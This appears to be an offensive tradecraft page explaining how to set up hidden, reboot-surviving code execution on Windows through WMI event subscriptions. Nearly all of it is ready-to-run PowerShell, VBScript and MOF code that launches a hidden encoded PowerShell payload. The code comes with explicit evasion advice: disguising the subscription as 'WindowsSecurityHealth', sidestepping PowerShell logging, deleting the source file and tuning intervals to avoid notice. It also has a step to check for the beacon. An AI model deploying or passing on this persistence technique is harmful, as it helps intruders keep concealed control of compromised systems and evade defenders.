WMI event subscription persistence¶
Establishing fileless, reboot-persistent execution via Windows Management Instrumentation event subscriptions. WMI subscriptions do not create scheduled tasks and do not appear in the Task Scheduler UI, making them harder to discover through standard administrative tools.
How WMI persistence works¶
Three objects are needed:
__EventFilter: defines the condition that triggers execution (a WMI query)CommandLineEventConsumer(orActiveScriptEventConsumer): defines what to execute__FilterToConsumerBinding: links the filter to the consumer
All three are stored in the root\subscription WMI namespace and survive reboots.
The WMI service (winmgmt) loads them automatically on startup.
Audit before creating¶
# list existing event subscriptions before creating anything
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Select-Object Name, Query | Format-Table -AutoSize
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Select-Object Name, CommandLineTemplate | Format-Table -AutoSize
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Select-Object Filter, Consumer | Format-Table -AutoSize
Note the names already in use. Pick a name that fits the existing pattern; on most systems there will be a handful of legitimate subscriptions from endpoint protection or management software.
Create WMI persistence (PowerShell)¶
# filter: fires every 10 minutes based on a performance counter modification event
$filterArgs = @{
Name = 'WindowsSecurityHealth'
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600
WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Class __EventFilter `
-Namespace 'root\subscription' `
-Arguments $filterArgs
# consumer: command to execute when filter fires
$consumerArgs = @{
Name = 'WindowsSecurityHealth'
CommandLineTemplate = 'powershell.exe -w hidden -nop -enc BASE64PAYLOAD'
}
$consumer = Set-WmiInstance -Class CommandLineEventConsumer `
-Namespace 'root\subscription' `
-Arguments $consumerArgs
# binding: connects filter to consumer
Set-WmiInstance -Class __FilterToConsumerBinding `
-Namespace 'root\subscription' `
-Arguments @{ Filter = $filter; Consumer = $consumer }
The WITHIN 600 clause polls every 600 seconds (10 minutes). Values below 60
generate excessive WMI activity that may be noticed.
Alternative triggers¶
Trigger query |
Fires on |
Notes |
|---|---|---|
|
Every N seconds (polling) |
Most common; reliable |
|
User logon |
Fires on every interactive logon |
|
Specific process exit |
Useful for blending into normal activity |
|
Explorer start (desktop logon) |
Workstations only |
Script consumer (VBScript, avoids PowerShell telemetry)¶
$consumerArgs = @{
Name = 'WindowsSecurityHealth'
ScriptingEngine = 'VBScript'
ScriptText = @'
Set objShell = CreateObject("WScript.Shell")
objShell.Run "cmd.exe /c powershell.exe -w hidden -nop -enc BASE64PAYLOAD", 0, False
'@
}
$consumer = Set-WmiInstance -Class ActiveScriptEventConsumer `
-Namespace 'root\subscription' `
-Arguments $consumerArgs
ActiveScriptEventConsumer uses the legacy scripting engine rather than
PowerShell directly. The PowerShell process is still spawned as a child of
WMI, but the parent is scrcons.exe rather than a WMI service process.
MOF-based creation (avoids PowerShell WMI cmdlets)¶
Managed Object Format files can register WMI objects without using PowerShell cmdlets, reducing telemetry from PowerShell script block logging:
# create a .mof file and compile it with mofcomp.exe
# the file is consumed and deleted after compilation
# wsh-persist.mof
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $filter
{
Name = "WindowsSecurityHealth";
EventNamespace = "root\\cimv2";
QueryLanguage = "WQL";
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 "
"WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'";
};
instance of CommandLineEventConsumer as $consumer
{
Name = "WindowsSecurityHealth";
CommandLineTemplate = "powershell.exe -w hidden -nop -enc BASE64PAYLOAD";
};
instance of __FilterToConsumerBinding
{
Filter = $filter;
Consumer = $consumer;
};
mofcomp.exe wsh-persist.mof
After compilation the .mof file can be deleted; the subscription is stored
in the WMI repository and survives without the source file.
Verify¶
# confirm all three objects exist
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Where-Object { $_.Name -eq 'WindowsSecurityHealth' }
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Where-Object { $_.Name -eq 'WindowsSecurityHealth' }
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding
# force the filter to fire immediately for testing (modify the trigger temporarily)
# or wait for the polling interval to elapse and check for the beacon
Remove¶
# remove all three objects to clean up
Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding |
Where-Object { $_.Filter -like '*WindowsSecurityHealth*' } |
Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class CommandLineEventConsumer |
Where-Object { $_.Name -eq 'WindowsSecurityHealth' } |
Remove-WmiObject
Get-WMIObject -Namespace root\subscription -Class __EventFilter |
Where-Object { $_.Name -eq 'WindowsSecurityHealth' } |
Remove-WmiObject
Remove the binding first. Leaving the filter and consumer with no binding is safe; removing the filter first can cause WMI service errors if the binding still references it.